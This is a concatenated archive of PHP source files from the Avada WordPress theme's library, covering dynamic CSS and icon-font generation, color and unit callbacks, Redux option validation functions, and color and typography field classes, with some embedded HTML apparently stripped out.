set_transient( 'fusion_dynamic_css_extra_files_to_enqueue', $extra_assets ); } return $files_css . $css; } /** * Adds icomoon CSS. * * @access public * @since 1.0.2 * @param string $css The original CSS. * @return string The original CSS with the webfont @font-face declaration appended. */ public function icomoon_css( $css ) { $font_url = FUSION_LIBRARY_URL . '/assets/fonts/icomoon'; $font_url = set_url_scheme( $font_url ); $font_face_display = fusion_library()->get_option( 'font_face_display' ); $font_face_display = ( 'swap-all' === $font_face_display ) ? 'swap' : 'block'; $css .= '@font-face {'; $css .= 'font-family: "awb-icons";'; $css .= 'src:'; $css .= "url('{$font_url}/awb-icons.woff') format('woff'),"; $css .= "url('{$font_url}/awb-icons.ttf') format('truetype'),"; $css .= "url('{$font_url}/awb-icons.svg#awb-icons') format('svg');"; $css .= 'font-weight: normal;'; $css .= 'font-style: normal;'; $css .= 'font-display: ' . $font_face_display . ';'; $css .= '}'; return $css; } /** * Add a CSS Variable. * * @static * @access public * @since 2.0 * @param array $args The arguments ['name'=>'','value'=>'','element'=>'']. * @return void */ public static function add_css_var( $args ) { // Don't add var if it's value is empty. if ( isset( $args['value'] ) && '' === $args['value'] ) { return; } if ( isset( $args['preserve'] ) && $args['preserve'] && isset( $args['name'] ) ) { self::$preserve_vars[] = $args['name']; } self::$css_vars[ $args['name'] ] = $args; } /** * Adds a replace pattern. * * @static * @access public * @since 2.0 * @param string $search What to search for. * @param string $replace What to replace the search string with. * @return void */ public static function add_replace_pattern( $search, $replace ) { self::$replace_patterns[ $search ] = $replace; } /** * Get an array of replace patterns. * * @static * @access public * @since 2.0 * @return array */ public static function get_replacement_patterns() { uksort( self::$replace_patterns, function( $a, $b ) { return strlen( $b ) - strlen( $a ); } ); return self::$replace_patterns; } /** * Add css-vars to the final CSS. * * @access public * @since 2.0 * @param string $css The CSS. * @return string */ public function add_css_vars_to_css( $css ) { $vars_styles = ''; foreach ( self::$css_vars as $key => $args ) { if ( is_string( $key ) && ! is_array( $args['value'] ) ) { $css['global'][ $args['element'] ][ $key ] = $args['value']; } } return $css; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/lib/inc/class-fusion-dynamic-js-separate.php000064400000003011152342437700017664 0ustar00dynamic_js = $dynamic_js; $this->enqueue_separate_scripts(); } /** * Enqueues separate scripts. * * @access public * @since 1.0.0 */ public function enqueue_separate_scripts() { $wp_content_dir = untrailingslashit( wp_normalize_path( WP_CONTENT_DIR ) ); $wp_content_url = content_url(); $scripts = $this->dynamic_js->get_ordered_scripts(); foreach ( $scripts as $script ) { // Get URL in case we're using path. if ( 0 !== strpos( $script['url'], 'http' ) ) { $script['url'] = str_replace( $wp_content_dir, $wp_content_url, wp_normalize_path( $script['url'] ) ); } // Strip protocols. $script['url'] = set_url_scheme( $script['url'] ); wp_enqueue_script( $script['handle'], $script['url'], $script['deps'], $script['ver'], $script['in_footer'] ); } $localizations = $this->dynamic_js->get_localizations(); foreach ( $localizations as $l10n ) { wp_localize_script( $l10n['handle'], $l10n['name'], $l10n['data'] ); } } } Avada/includes/lib/inc/class-fusion-panel-callbacks.php000064400000030474152342437700017055 0ustar00to_css( $obj->mode ); } /** * Returns value as float. * * @static * @access public * @since 2.0 * @param string $value The value. * @return string */ public static function number( $value ) { return (float) $value; } /** * Takes any valid CSS unit and converts to pixels. * * @static * @access public * @since 2.0 * @param string $value The CSS value. * @return string */ public static function units_to_px( $value ) { return Fusion_Sanitize::units_to_px( $value ); } /** * Sets alpha to color. * * @static * @access public * @since 2.0 * @param string $color The color. * @param float $alpha The alpha value. float between 0 and 1. * @return string */ public static function color_alpha_set( $color, $alpha = 1 ) { return Fusion_Color::new_color( $color )->get_new( 'alpha', $alpha )->to_css_var_or_rgba(); } /** * Replace specific chars. * * @static * @access public * @since 7.11.2 * @param string $value The value. * @param array $args Arguments containing the conditions we want to check. * @return string */ public static function replace_chars( $value, $args ) { foreach ( $args['replacements'] as $char => $replacement ) { $value = str_replace( $char, $replacement, $value ); } return $value; } /** * Checks conditions and returns either the value or an empty string. * * @static * @access public * @since 2.0 * @param string $value The value. * @param array $args Arguments containing the conditions we want to check. * @return string */ public static function conditional_return_value( $value, $args ) { $numeric = false; $checks = []; $fallback = isset( $args['value_pattern'] ) ? $args['value_pattern'][1] : ''; $success = isset( $args['value_pattern'] ) ? $args['value_pattern'][0] : '$'; foreach ( $args['conditions'] as $i => $arg ) { $saved = fusion_get_option( $arg[0] ); if ( false !== strpos( $arg[0], '[' ) ) { $parts = explode( '[', $arg[0] ); $saved = fusion_get_option( $parts[0] ); if ( isset( $parts[1] ) ) { $saved = isset( $saved[ str_replace( ']', '', $parts[1] ) ] ) ? $saved[ str_replace( ']', '', $parts[1] ) ] : ''; } } if ( class_exists( 'AWB_Global_Typography' ) && AWB_Global_Typography::get_instance()->is_typography_css_var( $saved ) ) { $saved = AWB_Global_Typography::get_instance()->get_real_value( $saved ); } switch ( $arg[1] ) { case '===': $checks[ $i ] = ( $saved === $arg[2] ); break; case '>': $checks[ $i ] = ( Fusion_Sanitize::number( Fusion_Sanitize::units_to_px( $saved ) ) > Fusion_Sanitize::number( $arg[2] ) ); break; case '>=': $checks[ $i ] = ( Fusion_Sanitize::number( Fusion_Sanitize::units_to_px( $saved ) ) >= Fusion_Sanitize::number( $arg[2] ) ); break; case '<': $checks[ $i ] = ( Fusion_Sanitize::number( Fusion_Sanitize::units_to_px( $saved ) ) < Fusion_Sanitize::number( $arg[2] ) ); break; case '<=': $checks[ $i ] = ( Fusion_Sanitize::number( Fusion_Sanitize::units_to_px( $saved ) ) <= Fusion_Sanitize::number( $arg[2] ) ); break; case '!==': $checks[ $i ] = ( $saved !== $arg[2] ); break; case 'in': $sub_checks = []; foreach ( $arg[2] as $k => $sub_arg ) { $sub_checks[ $k ] = ( $saved !== $sub_arg ); } $checks[ $i ] = true; foreach ( $sub_checks as $sub_val ) { if ( ! $sub_val ) { $checks[ $i ] = false; } } break; case 'true': $checks[ $i ] = in_array( $saved, [ true, 'true', 1, '1', 'yes' ], true ); break; } } foreach ( $checks as $check ) { if ( ! $check ) { return str_replace( '$', $value, $fallback ); } } return str_replace( '$', $value, $success ); } /** * Returns a different value depending on whether the color is transparent or opaque. * * @static * @access public * @since 2.0 * @param string $value The color value. * @param array $args The arguments ['transparent'=>'foo','opaque'=>'bar']. * @return string */ public static function return_color_if_opaque( $value, $args ) { if ( 'transparent' === $value ) { return $args['transparent']; } $color = Fusion_Color::new_color( $value ); if ( 1 > $color->alpha ) { return $args['transparent']; } return $args['opaque']; } /** * Returns a different value depending on whether the color is transparent or not. * * @static * @access public * @since 2.0 * @param string $value The color value. * @param array $args The arguments ['transparent'=>'foo','opaque'=>'bar']. * @return string */ public static function return_string_if_transparent( $value, $args ) { if ( 'transparent' === $value ) { return ( '$' === $args['transparent'] ) ? $value : $args['transparent']; } $color = Fusion_Color::new_color( $value ); if ( 0 === $color->alpha ) { return ( '$' === $args['transparent'] ) ? $value : $args['transparent']; } return ( '$' === $args['opaque'] ) ? $value : $args['opaque']; } /** * Adjusts the brightness of a color, * * @static * @access public * @since 2.0 * @param string $value The color we'll be adjusting. * @param string|int|float $adjustment By how much we'll be adjusting. * Positive numbers increase lightness. * Negative numbers decrease lightness. * @return string RBGA color, ready to be used in CSS. */ public static function lightness_adjust( $value, $adjustment ) { $adjustment = Fusion_Sanitize::number( $adjustment ); if ( 1 >= abs( $adjustment ) ) { $adjustment *= 100; } return Fusion_Color::new_color( Fusion_Sanitize::color( $value ) )->adjust_brightness( $adjustment ); } /** * Runs str_replace. * * @static * @access public * @since 2.0 * @param string $value The value. * @param array $args The arguments [search,replace]. * @return string */ public static function string_replace( $value, $args ) { return str_replace( $args[0], $args[1], $value ); } /** * If the color has 0 alpha, return hex. * * @static * @access public * @since 2.0 * @param string $value The color. * @return string */ public static function get_non_transparent_color( $value ) { $color = Fusion_Color::new_color( $value ); if ( 0 === $color->alpha || 0.0 === $color->alpha ) { $color = $color->get_new( 'alpha', '1' ); return $color->to_css_var_or_rgba(); } return $color->to_css_var_or_rgba(); } /** * Header border-color custom condition 5. * * @static * @access public * @since 2.0 * @param string $value The value. * @param string $fallback A fallback value. * @return string */ public static function header_border_color_condition_5( $value, $fallback = '' ) { $header_border_color = Fusion_Color::new_color( fusion_get_option( 'header_border_color' ) ); if ( 'v6' !== fusion_get_option( 'header_layout' ) && 'left' === fusion_get_option( 'header_position' ) && 0 === $header_border_color->alpha ) { return $value; } return $fallback; } /** * Column width, inherit from large or not. * * @static * @access public * @since 3.9 * @param string $value The value. * @return string */ public static function column_width_inheritance( $value = '' ) { if ( 'inherit_from_large' === $value ) { return 'var(--awb-width-large, 33.3333% )'; } return '100%'; } /** * Returns the value if site-width is using % values, * otherwise return empty string. * * @static * @access public * @since 2.0 * @param string $value The value. * @param array $args Array(0=>'$',1=>'fallback'). * @return string */ public static function site_width_100_percent( $value, $args = [] ) { if ( ! isset( $args[0] ) && ! isset( $args[1] ) ) { $args = [ '$', '' ]; } if ( '100%' === fusion_get_option( 'site_width' ) ) { return str_replace( '$', $value, $args[0] ); } return $args[1]; } /** * Get the negative margin for 100%-width. * * @static * @access public * @since 2.0 * @return string */ public static function hundred_percent_negative_margin() { $c_page_id = fusion_library()->get_page_id(); $padding = Fusion_Sanitize::size( fusion_get_option( 'hundredp_padding', 'hundredp_padding', $c_page_id ) ); $padding_value = Fusion_Sanitize::number( $padding ); $padding_unit = Fusion_Sanitize::get_unit( $padding ); $negative_margin = '-' . $padding_value . $padding_unit; if ( '%' === $padding_unit ) { $fullwidth_max_width = 100 - 2 * $padding_value; $negative_margin = '-' . $padding_value / $fullwidth_max_width * 100 . $padding_unit; } return $negative_margin; } /** * Fallback to 0 if value does not exist or is empty. * * @static * @access public * @since 2.0 * @param string $value The value. * @return string */ public static function fallback_to_zero( $value ) { return self::fallback_to_value( $value, '0' ); } /** * Fallback to another value if value does not exist or is empty. * * @static * @access public * @since 2.0 * @param string $value The value. * @param string $fallback The fallback value. * @return string */ public static function fallback_to_value( $value, $fallback ) { if ( is_array( $fallback ) && isset( $fallback[0] ) && isset( $fallback[1] ) ) { return ( ! $value || '' === $value ) ? str_replace( '$', $value, $fallback[1] ) : str_replace( '$', $value, $fallback[0] ); } return ( ! $value || '' === $value ) ? $fallback : $value; } /** * Fallback to another value if value does not exist. * * @static * @access public * @since 2.0 * @param string $value The value. * @param string $fallback The fallback value. * @return string */ public static function fallback_to_value_if_empty( $value, $fallback ) { if ( is_array( $fallback ) && isset( $fallback[0] ) && isset( $fallback[1] ) ) { return ( '' === $value ) ? str_replace( '$', $value, $fallback[1] ) : str_replace( '$', $value, $fallback[0] ); } return ( '' === $value ) ? $fallback : $value; } /** * If value is numeric append "px". * * @static * @access public * @since 2.0 * @param string $value The value. * @return string */ public static function maybe_append_px( $value ) { if ( is_numeric( $value ) ) { return $value . 'px'; } return $value; } /** * Converts a non-px font size to px. * * @static * @access public * @since 2.0 * @see Fusion_Sanitize::convert_font_size_to_px(). * @param string $font_size The font size to be changed. * @param string $base_font_size The font size to base calcs on. * @return string The changed font size. */ public static function convert_font_size_to_px( $font_size, $base_font_size ) { $add_units = ( is_array( $base_font_size ) && isset( $base_font_size['addUnits'] ) && $base_font_size['addUnits'] ); if ( is_array( $base_font_size ) && isset( $base_font_size['setting'] ) ) { $base_font_size = fusion_get_option( $base_font_size['setting'] ); } $value = Fusion_Sanitize::convert_font_size_to_px( $font_size, $base_font_size ); return ( $add_units ) ? $value . 'px' : $value; } /** * Combines font-family & font-backup options. * * @static * @access public * @since 2.0 * @param string $value The font-family value. * @param string $option_name The name of the option. * @return string */ public static function combined_font_family( $value, $option_name ) { $helpers = new Fusion_Dynamic_CSS_Helpers(); $combo = $helpers->combined_font_family( fusion_get_option( $option_name ) ); return $combo ? $combo : $value; } /** * Converts the "regular" value to 400 for font-weights. * * @static * @access public * @since 2.0 * @param string $value The font-weight. * @return string The changed font-weight. */ public static function font_weight_no_regular( $value ) { return ( 'regular' === $value ) ? '400' : $value; } } Avada/includes/lib/inc/redux/validation-functions.php000064400000032716152342437700016725 0ustar00 $value, ]; } $warning = false; if ( 'round' === $value ) { $value = '50%'; } if ( '' === $existing_value || null === $existing_value || false === $existing_value && class_exists( 'Avada' ) ) { $existing_value = fusion_get_theme_option( $field['id'] ); } if ( '' === $value || null === $value || false === $value ) { $value = $existing_value; } // If using calc() return the value. if ( false !== strpos( $value, 'calc' ) ) { return [ 'warning' => $field, 'value' => $value, ]; } // Remove spaces from the value. $value = trim( str_replace( ' ', '', $value ) ); // Get the numeric value. $value_numeric = Fusion_Sanitize::numeric_string( $value ); if ( empty( $value_numeric ) ) { $value_numeric = '0'; } // Get the units. $value_unit = str_replace( $value_numeric, '', $value ); $value_unit = strtolower( $value_unit ); if ( '0' !== $value_numeric && empty( $value_unit ) ) { $warning = true; } // An array of valid CSS units. $valid_units = [ 'rem', 'em', 'ex', '%', 'px', 'cm', 'mm', 'in', 'pt', 'pc', 'vh', 'vw', 'vmin', 'vmax' ]; // If we can't find a valid CSS unit in the value, // show a warning message and fallback to using pixels. if ( '0' !== $value_numeric && ! in_array( $value_unit, $valid_units, true ) ) { $warning = true; } // If the numeric value is 0, remove units. if ( '0' === $value_numeric ) { $value_unit = ''; } if ( $warning ) { /* translators: %1$s: The fallback value. %2$s: The saved value. %3$s: User-entered value. */ $replaced_units_message = esc_html__( 'We could not find a valid unit for this field, falling back to "%1$s". Saved value "%2$s" and not "%3$s".', 'Avada' ); /* translators: %1$s: The fallback value. %2$s: The saved value. %3$s: User-entered value. */ $units_message = esc_html__( 'No units were entered, falling back to using pixels. Saved value "%2$s" and not "%3$s".', 'Avada' ); if ( empty( $value_unit ) ) { $message = $units_message; $value_unit = 'px'; $unit_found = true; } else { $message = $replaced_units_message; $unit_found = false; foreach ( $valid_units as $valid_unit ) { if ( $unit_found ) { continue; } if ( false !== strrpos( $value_unit, $valid_unit ) ) { $value_unit = $valid_unit; $unit_found = true; } } } if ( ! $unit_found ) { $value_unit = 'px'; } $field['msg'] = sprintf( $message, $value_unit, $value_numeric . $value_unit, $value ); $return['warning'] = $field; } $return['value'] = $value_numeric . $value_unit; return $return; } } if ( ! function_exists( 'fusion_redux_validate_font_size' ) ) { /** * Validates & sanitizes values for font-size controls. * * @since 4.0.0 * @param array $field The field with all its arguments. * @param string $value The field value. * @param string $existing_value The previous value of the control. * @return array */ function fusion_redux_validate_font_size( $field, $value, $existing_value ) { $warning = false; $value = trim( strtolower( $value ) ); $return = []; if ( '' === $existing_value || null === $existing_value || false === $existing_value && class_exists( 'Avada' ) ) { $existing_value = fusion_get_theme_option( $field['id'] ); } if ( '' === $value || null === $value || false === $value ) { $value = $existing_value; } // Remove spaces from the value. $value = trim( str_replace( ' ', '', $value ) ); // Get the numeric value. $value_numeric = Fusion_Sanitize::numeric_string( $value ); if ( empty( $value_numeric ) ) { $value_numeric = '0'; } // Get the units. $value_unit = str_replace( $value_numeric, '', $value ); $value_unit = strtolower( $value_unit ); if ( empty( $value_unit ) ) { $warning = true; } // An array of valid CSS units. $valid_units = [ 'rem', 'em', 'px' ]; // If we can't find a valid CSS unit in the value. // show a warning message and fallback to using pixels. if ( ! in_array( $value_unit, $valid_units, true ) ) { $warning = true; } if ( $warning ) { /* translators: %1$s: The fallback value. %2$s: The saved value. %3$s: User-entered value. %4$s: A list of valid units. */ $replaced_units_message = esc_html__( 'We could not find a valid unit for this field, falling back to "%1$s". Valid units are %4$s. Saved value "%2$s" and not "%3$s.".', 'Avada' ); /* translators: %1$s: The fallback value. %2$s: The saved value. %3$s: User-entered value. %4$s: A list of valid units. */ $units_message = esc_html__( 'No units were entered, falling back to using pixels. Saved value "%2$s" and not "%3$s".', 'Avada' ); if ( empty( $value_unit ) ) { $message = $units_message; $value_unit = 'px'; $unit_found = true; } else { $message = $replaced_units_message; $unit_found = false; foreach ( $valid_units as $valid_unit ) { if ( $unit_found ) { continue; } if ( false !== strrpos( $value_unit, $valid_unit ) ) { $value_unit = $valid_unit; $unit_found = true; } } } if ( ! $unit_found ) { $value_unit = 'px'; } $imploded_valid_units = implode( ', ', $valid_units ); $field['msg'] = sprintf( $message, $value_unit, $value_numeric . $value_unit, $value, $imploded_valid_units ); $return['warning'] = $field; } $return['value'] = $value_numeric . $value_unit; return $return; } } if ( ! function_exists( 'fusion_redux_validate_dimensions' ) ) { /** * Validates & sanitizes values for dimentions controls. * * @since 4.0.0 * @param array $field The field with all its arguments. * @param array $value The field value. * @param array $existing_value The previous value of the control. * @return array */ function fusion_redux_validate_dimensions( $field, $value, $existing_value ) { $warning = []; $error_message = []; $return = []; // An array of valid CSS units. $valid_units = [ 'rem', 'em', 'ex', '%', 'px', 'cm', 'mm', 'in', 'pt', 'pc', 'vh', 'vw', 'vmin', 'vmax' ]; if ( ! is_array( $value ) ) { return [ 'value' => $value, ]; } foreach ( $value as $key => $subvalue ) { $warning[ $key ] = false; if ( 'round' === $subvalue ) { $value = '50%'; } if ( ! isset( $existing_value[ $key ] ) || '' === $existing_value[ $key ] || null === $existing_value[ $key ] || false === $existing_value[ $key ] && class_exists( 'Avada' ) ) { $existing_value = fusion_get_theme_option( $field['id'], $key ); } if ( '' === $subvalue || null === $subvalue || false === $subvalue ) { if ( isset( $existing_value[ $key ] ) ) { $subvalue = $existing_value[ $key ]; } } // Remove spaces from the value. $subvalue = trim( str_replace( ' ', '', $subvalue ) ); // Get the numeric value. $subvalue_numeric = Fusion_Sanitize::numeric_string( $subvalue ); if ( empty( $subvalue_numeric ) ) { $subvalue_numeric = '0'; } // Get the units. $subvalue_unit = str_replace( $subvalue_numeric, '', $subvalue ); $subvalue_unit = strtolower( $subvalue_unit ); if ( empty( $subvalue_unit ) ) { $warning[ $key ] = true; } // If we can't find a valid CSS unit in the value, // show a warning message and fallback to using pixels. if ( ! in_array( $subvalue_unit, $valid_units, true ) ) { $warning[ $key ] = true; } if ( $warning[ $key ] ) { /* translators: %1$s: Fallback value. %2$s: Saved value. %3$s: User-entered value. */ $replaced_units_message = esc_html__( 'We could not find a valid unit for this field, falling back to "%1$s". Saved value "%2$s" and not "%3$s".', 'Avada' ); /* translators: %2$s: Saved value. %3$s: User-entered value. */ $units_message = esc_html__( 'No units were entered, falling back to using pixels. Saved value "%2$s" and not "%3$s".', 'Avada' ); if ( empty( $subvalue_unit ) ) { $message = $units_message; $subvalue_unit = 'px'; $subunit_found = true; } else { $message = $replaced_units_message; $subunit_found = false; foreach ( $valid_units as $valid_unit ) { if ( $subunit_found ) { continue; } if ( false !== strrpos( $subvalue_unit, $valid_unit ) ) { $subvalue_unit = $valid_unit; $subunit_found = true; } } } if ( ! $subunit_found ) { $subvalue_unit = 'px'; } $error_message[] = sprintf( $message, $subvalue_unit, $subvalue_numeric . $subvalue_unit, $subvalue ); } $return['value'][ $key ] = $subvalue_numeric . $subvalue_unit; } if ( ! empty( $error_message ) ) { $field['msg'] = implode( ' ', $error_message ); $return['warning'] = $field; } return $return; } } if ( ! function_exists( 'fusion_redux_validate_color_rgba' ) ) { /** * Validates & sanitizes values for RGBA color controls. * * @since 4.0.0 * @param array $field The field with all its arguments. * @param string $value The field value. * @param string $existing_value The previous value of the control. * @return array */ function fusion_redux_validate_color_rgba( $field, $value, $existing_value ) { $return = []; $error = false; $sanitized_value = Fusion_Sanitize::color( $value ); $return['value'] = $sanitized_value; if ( $value != $sanitized_value ) { // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison $error = true; $field['msg'] = sprintf( /* translators: The saved value and the user-entered value. */ esc_html__( 'Sanitized value and saved as %1$s instead of %2$s.', 'Avada' ), '' . $sanitized_value . '', '' . $value . '' ); $return['warning'] = $field; } return $return; } } if ( ! function_exists( 'fusion_redux_validate_color_hex' ) ) { /** * Validates & sanitizes values for HEX color controls. * * @since 4.0.0 * @param array $field The field with all its arguments. * @param string $value The field value. * @param string $existing_value The previous value of the control. * @return array */ function fusion_redux_validate_color_hex( $field, $value, $existing_value ) { $return = []; $error = false; $sanitized_value = Fusion_Sanitize::color( $value ); if ( false !== strpos( $sanitized_value, 'rgba' ) ) { $sanitized_value = Fusion_Color::new_color( $sanitized_value )->to_css( 'hex' ); } $return['value'] = $sanitized_value; if ( $value != $sanitized_value ) { // phpcs:ignore WordPress.PHP.StrictComparisons.LooseComparison $error = true; $field['msg'] = sprintf( /* translators: The saved value and the user-entered value. */ esc_html__( 'Sanitized value and saved as %1$s instead of %2$s.', 'Avada' ), '' . $sanitized_value . '', '' . $value . '' ); $return['warning'] = $field; } return $return; } } if ( ! function_exists( 'fusion_redux_validate_custom_fonts' ) ) { /** * Validates & sanitizes values for custom-fonts controls. * * @since 4.0.0 * @param array $field The field with all its arguments. * @param array $value The field value. * @param array $existing_value The previous value of the control. * @return array */ function fusion_redux_validate_custom_fonts( $field, $value, $existing_value ) { $return = []; if ( isset( $value['name'] ) ) { foreach ( $value['name'] as $name_key => $name_value ) { $value['name'][ $name_key ] = trim( $name_value ); $value['name'][ $name_key ] = esc_attr( $value['name'][ $name_key ] ); } } return [ 'value' => $value, ]; } } if ( ! function_exists( 'fusion_fusionredux_validate_select' ) ) { /** * Validates & sanitizes values for select controls. * * @since 5.8 * @param array $field The field with all its arguments. * @param string $value The field value. * @param string $existing_value The previous value of the control. * @return array */ function fusion_fusionredux_validate_select( $field, $value, $existing_value ) { return ( isset( $field['multi'] ) && $field['multi'] && 'fusion-theme-options-fake-value' === $value ) ? [ 'value' => [], ] : [ 'value' => $value, ]; } } if ( ! function_exists( 'fusion_fusionredux_validate_google_api_key' ) ) { /** * Validates & sanitizes values for select controls. * * @since 7.3 * @param array $field The field with all its arguments. * @param string $value The field value. * @param string $existing_value The previous value of the control. * @return array */ function fusion_fusionredux_validate_google_api_key( $field, $value, $existing_value ) { if ( ! empty( $value ) ) { $value = normalize_whitespace( $value ); } return [ 'value' => $value, ]; } } Avada/includes/lib/inc/redux/custom-fields/color_palette/field_color_palette.php000064400000011447152342437700024174 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionRedux_Options 2.0.1 */ public function render() { $value = $this->value; if ( empty( $this->value ) || ! is_array( $this->value ) ) { $value = $this->field['default']; } else { $value = array_merge( $this->field['default'], $value ); } ?>
    render_color_template(); ?>
      $color_data ) : $this->render_color_item( $color_slug, $color_data ); endforeach; ?>
    '#ffffff', 'label' => esc_html__( 'New Color', 'Avada' ), ); echo ''; } /** * Render a new LI tag item for the color. * * Note: If you add a new required parameter/argument, be sure that is * also added in render_color_template(), and modified in JS(if needed). * * @since 3.6 */ private function render_color_item( $color_slug, $color_data ) { $option_base = $this->field['name'] . $this->field['name_suffix'] . '[' . $color_slug . ']'; $is_removable_color = ( isset( $this->field['default'][ $color_slug ] ) ? false : true ); ?>
  • parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { $input = 'field['id'] . '" '; $input .= 'name="' . $this->field['name'] . $this->field['name_suffix'] . '" '; $input .= 'id="' . $this->field['id'] . '-color" '; $input .= 'class="color-picker ' . $this->field['class'] . '" '; $input .= 'type="text" value="' . $this->value . '" '; $input .= 'data-oldcolor="" '; $input .= 'data-alpha="true" '; $input .= 'data-default-color="' . ( isset( $this->field['default'] ) ? $this->field['default'] : '' ) . '" '; $input .= ( isset( $this->field['allow_globals'] ) && false === $this->field['allow_globals'] ? 'data-globals="false" ' : '' ); $input .= '/>'; echo $input; echo ''; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value == "transparent" ) { $tChecked = ' checked="checked"'; } echo ''; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_script( 'fusionredux-field-color-js', trailingslashit( FUSION_LIBRARY_URL ) . 'inc/redux/custom-fields/color_alpha/field_color_alpha.js', array( 'jquery', 'awb-color-picker', 'fusionredux-js' ), time(), true ); } public function output() { $style = ''; if ( ! empty( $this->value ) ) { $mode = ( isset( $this->field['mode'] ) && ! empty( $this->field['mode'] ) ? $this->field['mode'] : 'color' ); $style .= $mode . ':' . $this->value . ';'; if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $css = FusionRedux_Functions::parseCSS( $this->field['output'], $style, $this->value ); $this->parent->outputCSS .= $css; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $css = FusionRedux_Functions::parseCSS( $this->field['compiler'], $style, $this->value ); $this->parent->compilerCSS .= $css; } } } } } Avada/includes/lib/inc/redux/custom-fields/typography/field_typography.php000064400000036156152342437700023124 0ustar00parent = $parent; $this->field = $field; $this->value = $value; // Shim out old arg to new if ( isset( $this->field['all_styles'] ) && ! empty( $this->field['all_styles'] ) ) { $this->field['all-styles'] = $this->field['all_styles']; unset ( $this->field['all_styles'] ); } // Set field array defaults. No errors please $defaults = array( 'font-family' => true, 'font-size' => true, 'font-weight' => true, 'font-style' => true, 'font-backup' => false, 'custom_fonts' => true, 'text-align' => true, 'text-transform' => false, 'font-variant' => false, 'text-decoration' => false, 'color' => true, 'preview' => true, 'line-height' => true, 'multi' => array( 'weight' => false, ), 'word-spacing' => false, 'letter-spacing' => false, 'google' => true, 'update_weekly' => false, // Enable to force updates of Google Fonts to be weekly 'font_family_clear' => false, 'margin-top' => false, 'margin-bottom' => false, 'allow-global' => true, ); $this->field = wp_parse_args( $this->field, $defaults ); // Set value defaults. $defaults = array( 'font-family' => '', 'font-options' => '', 'font-backup' => '', 'text-align' => '', 'text-transform' => '', 'font-variant' => '', 'text-decoration' => '', 'line-height' => '', 'word-spacing' => '', 'letter-spacing' => '', 'google' => false, 'font-script' => '', 'font-weight' => '', 'font-style' => '', 'color' => '', 'font-size' => '', 'margin-top' => '', 'margin-bottom' => '', ); $this->value = wp_parse_args( $this->value, $defaults ); if ( ! $this->value['font-weight'] || 400 === $this->value['font-weight'] || '400' === $this->value['font-weight'] ) { $this->value['font-weight'] = '400'; } } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since FusionReduxFramework 1.0.0 */ function render() { $allow_global = $this->field['allow-global']; ?>
    field['font-family'] ) : ?> field['default']['font-family'] ) && ! empty( $this->field['font-family'] ) ) { $default = $this->value['font-family']; } else if ( ! empty( $this->field['default']['font-family'] ) ) { $default = $this->field['default']['font-family']; } ?>
    value['font-family'] ) ) { if ( AWB_Adobe_Typography::is_adobe_font( $this->value['font-family'] ) ) { echo esc_html( AWB_Adobe_Typography::get_adobe_display_name( $this->value['font-family'] ) ); } else { echo esc_html( $this->value['font-family'] ); } } else if ( ! empty( $default ) ) { echo esc_html( $default ); } else { echo '' . esc_attr__( 'Select Font Family', 'Avada' ) . ''; } ?>
    value['font-backup'] ) ) { echo $this->value['font-backup']; } else { echo '' . esc_attr__( 'Select Backup Font Family', 'Avada' ) . ''; } ?>
    value['font-weight'] . $this->value['font-style']; ?>
    esc_html__( 'Font Size', 'Avada' ), 'line-height' => esc_html__( 'Line Height', 'Avada' ), 'letter-spacing' => esc_html__( 'Letter Spacing', 'Avada' ), 'margin-top' => esc_html__( 'Margin Top', 'Avada' ), 'margin-bottom' => esc_html__( 'Margin Bottom', 'Avada' ), ]; ?> field[ $field ] ) : ?>
    field['text-transform'] ) : ?>
    field['text_transform_no_inherit'] ) || true !== $this->field['text_transform_no_inherit'] ) { $inherit_value = [ '' => [ 'icon' => '', 'label' => esc_attr__( 'Default', 'Avada' ), ], ]; } $values = [ 'none' => [ 'icon' => '', 'label' => esc_attr__( 'None', 'Avada' ), ], 'uppercase' => [ 'icon' => '', 'label' => esc_attr__( 'Uppercase', 'Avada' ), ], 'lowercase' => [ 'icon' => '', 'label' => esc_attr__( 'Lowercase', 'Avada' ), ], 'capitalize' => [ 'icon' => '', 'label' => esc_attr__( 'Capitalize', 'Avada' ), ], ]; $values = array_merge( $inherit_value, $values ); foreach ( $values as $value => $data ) { $selected = $value === $this->value['text-transform'] ? ' ui-state-active' : ''; echo '
    ' . $data['icon'] . '
    '; } ?>
    field['color'] ) : ?> field['default']['color'] ) && ! empty( $this->field['color'] ) ) { $default = $this->value['color']; } else if ( ! empty( $this->field['default']['color'] ) ) { $default = $this->field['default']['color']; } ?>
    field['preview'] ) || $this->field['preview'] !== false ) { if ( isset( $this->field['preview']['text'] ) ) { $g_text = $this->field['preview']['text']; } else { $g_text = '1 2 3 4 5 6 7 8 9 0 A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z'; } $style = ''; if ( isset( $this->field['preview']['font-size'] ) ) { $style .= 'font-size: ' . $this->field['preview']['font-size'] . ';'; $inUse = '1'; } else { //$g_size = ''; $inUse = '0'; } echo '

    ' . $g_text . '

    '; } echo '
